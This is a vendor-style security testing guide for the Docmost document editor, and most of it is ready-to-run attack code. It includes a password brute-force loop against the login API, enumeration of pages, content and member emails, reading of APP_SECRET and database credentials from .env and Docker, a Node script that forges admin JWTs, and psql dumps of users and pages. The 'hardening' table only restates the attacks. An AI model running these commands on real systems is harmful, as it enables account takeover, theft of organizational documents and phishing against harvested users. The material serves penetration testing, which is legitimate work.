Docmost Security Testing: Default Credentials, API Token, Database, and .env APP_SECRET

Docmost is a widely deployed open-source collaborative document editor (Notion/Confluence alternative) built on Node.js, used by teams to create wikis, documentation, and collaborative knowledge bases — it stores all organizational documentation, internal policies, and team knowledge. Key assessment areas: APP_SECRET in .env is used to sign JWT authentication tokens, and its compromise enables forging valid tokens as any Docmost user; DATABASE_URL contains the PostgreSQL connection string with all document content; REDIS_URL stores active sessions; and the Docmost API allows enumeration of workspace pages, spaces, and members. This guide covers systematic Docmost security assessment.

Table of Contents

  1. Authentication and Default Credential Testing
  2. API Workspace, Space, and Page Enumeration
  3. .env APP_SECRET and Database Credential Extraction
  4. Docmost Security Hardening

Authentication and Default Credential Testing

# Docmost — authentication and default credential testing
DOCMOST_URL="https://docmost.example.com"

# Docmost first-run: admin email set during workspace setup
# Test common admin email + weak password combinations
for PASS in "admin" "password" "docmost" "changeme" "123456" "admin123"; do
  STATUS=$(curl -s -X POST "${DOCMOST_URL}/api/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if 'token' in d or 'accessToken' in d or 'access_token' in d:
        print('OK: '+str(d))
    else:
        print('FAIL')
except:
    print('ERROR')
" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${STATUS}"
done

# Successful authentication — extract JWT token
AUTH=$(curl -s -X POST "${DOCMOST_URL}/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"YOUR_PASS"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('token') or d.get('accessToken') or d.get('access_token','')
print(t)
" 2>/dev/null)
echo "Token: ${TOKEN}"

# Get current user info
curl -s "${DOCMOST_URL}/api/users/me" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} ({d.get(\"email\")}) role={d.get(\"role\")}')
" 2>/dev/null

API Workspace, Space, and Page Enumeration

# Docmost API — workspace, space, and page enumeration
DOCMOST_URL="https://docmost.example.com"
TOKEN="your-jwt-token"

# Get workspace info
curl -s "${DOCMOST_URL}/api/workspaces" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
ws = d if isinstance(d,list) else [d]
for w in ws:
    print(f'Workspace: {w.get(\"name\")} id={w.get(\"id\")} members={w.get(\"memberCount\")}')
" 2>/dev/null

# List all spaces (sections/categories)
curl -s "${DOCMOST_URL}/api/spaces" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
spaces = d.get('items',d) if isinstance(d,dict) else d
print(f'Spaces: {len(spaces)}')
for s in spaces:
    print(f'  [{s.get(\"id\")}] {s.get(\"name\")} slug={s.get(\"slug\")} visibility={s.get(\"visibility\")}')
" 2>/dev/null

SPACE_ID="your-space-id"

# List all pages in a space — document titles and content access
curl -s "${DOCMOST_URL}/api/pages?spaceId=${SPACE_ID}" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
pages = d.get('items',d) if isinstance(d,dict) else d
print(f'Pages: {len(pages)}')
for p in pages[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"title\")} slug={p.get(\"slug\")} by={p.get(\"creatorId\")}')
" 2>/dev/null

PAGE_ID="your-page-id"
# Get full page content
curl -s "${DOCMOST_URL}/api/pages/${PAGE_ID}" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Title: {d.get(\"title\")}')
content = d.get('content','')
if isinstance(content,dict):
    import re
    text = re.sub(r'<[^>]+>','',str(content))[:500]
else:
    text = str(content)[:500]
print(f'Content: {text}')
" 2>/dev/null

# List workspace members — all user emails
curl -s "${DOCMOST_URL}/api/workspaces/members" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('items',d) if isinstance(d,dict) else d
print(f'Members: {len(members)}')
for m in members[:10]:
    u = m.get('user',m)
    print(f'  {u.get(\"name\")} ({u.get(\"email\")}) role={m.get(\"role\",u.get(\"role\",\"\"))}')
" 2>/dev/null

.env APP_SECRET and Database Credential Extraction

# Docmost .env APP_SECRET and database credential extraction

# .env file — application secrets
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|DATABASE_URL|REDIS_URL|SMTP|MAIL|STORAGE|AWS"
# APP_SECRET — JWT signing secret for authentication tokens
# DATABASE_URL — PostgreSQL connection string with password
# REDIS_URL — Redis connection (session storage)
# SMTP_* — email server credentials for password reset emails

# Docker environment variables
docker inspect docmost 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['APP_SECRET','DATABASE','REDIS','SMTP','MAIL','AWS','SECRET']):
            print(e)
" 2>/dev/null

# Forge JWT using extracted APP_SECRET
APP_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const secret = '${APP_SECRET}';
const now = Math.floor(Date.now()/1000);
const header = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({
  sub: 'user-id-from-db',
  email: 'admin@example.com',
  role: 'admin',
  iat: now,
  exp: now + 86400
})).toString('base64url');
const sig = crypto.createHmac('sha256', secret).update(header+'.'+payload).digest('base64url');
console.log('Forged JWT: '+header+'.'+payload+'.'+sig);
" 2>/dev/null

# PostgreSQL direct access
DATABASE_URL="postgresql://docmost:PASSWORD@localhost/docmost"
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All Docmost users
SELECT id, name, email, role, email_verified_at,
       suspended_at, created_at, last_active_at
FROM users
ORDER BY role, created_at DESC
LIMIT 20;
EOF

# All pages and their content
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.title, p.slug, p.creator_id,
       u.email as creator_email,
       left(p.content::text, 200) as content_preview
FROM pages p
LEFT JOIN users u ON p.creator_id = u.id
ORDER BY p.created_at DESC
LIMIT 10;
EOF

Docmost Security Hardening

Docmost Security Hardening Checklist:
Security TestMethodRisk
APP_SECRET extraction and JWT token forgeryRead .env APP_SECRET — JWT signing secret; forge valid authentication tokens as any Docmost user including admins bypassing password authenticationCritical
API page content enumerationGET /api/pages?spaceId={id} — all page titles; GET /api/pages/{id} — full document content; access to all organizational documentation including sensitive internal policiesHigh
DATABASE_URL credential extractionRead .env DATABASE_URL — full PostgreSQL connection string; direct access to all Docmost data including documents, user accounts, and workspace configurationsCritical
Workspace member email harvestingGET /api/workspaces/members — all workspace members with emails and roles; enables targeted phishing against all documentation platform usersHigh
Redis session token theftAccess REDIS_URL — active session tokens stored in Redis; enables user impersonation without APP_SECRET or password for any currently logged-in userHigh

Automate Docmost Security Testing

Ironimo tests Docmost deployments for APP_SECRET extraction and JWT token forgery, API workspace/space/page enumeration with document content extraction, member email harvesting, DATABASE_URL PostgreSQL credential extraction, Redis session token access, SMTP credential extraction, Docker environment variable exposure, space visibility misconfiguration testing, public registration bypass testing, and admin credential brute force protection assessment.

Start free scan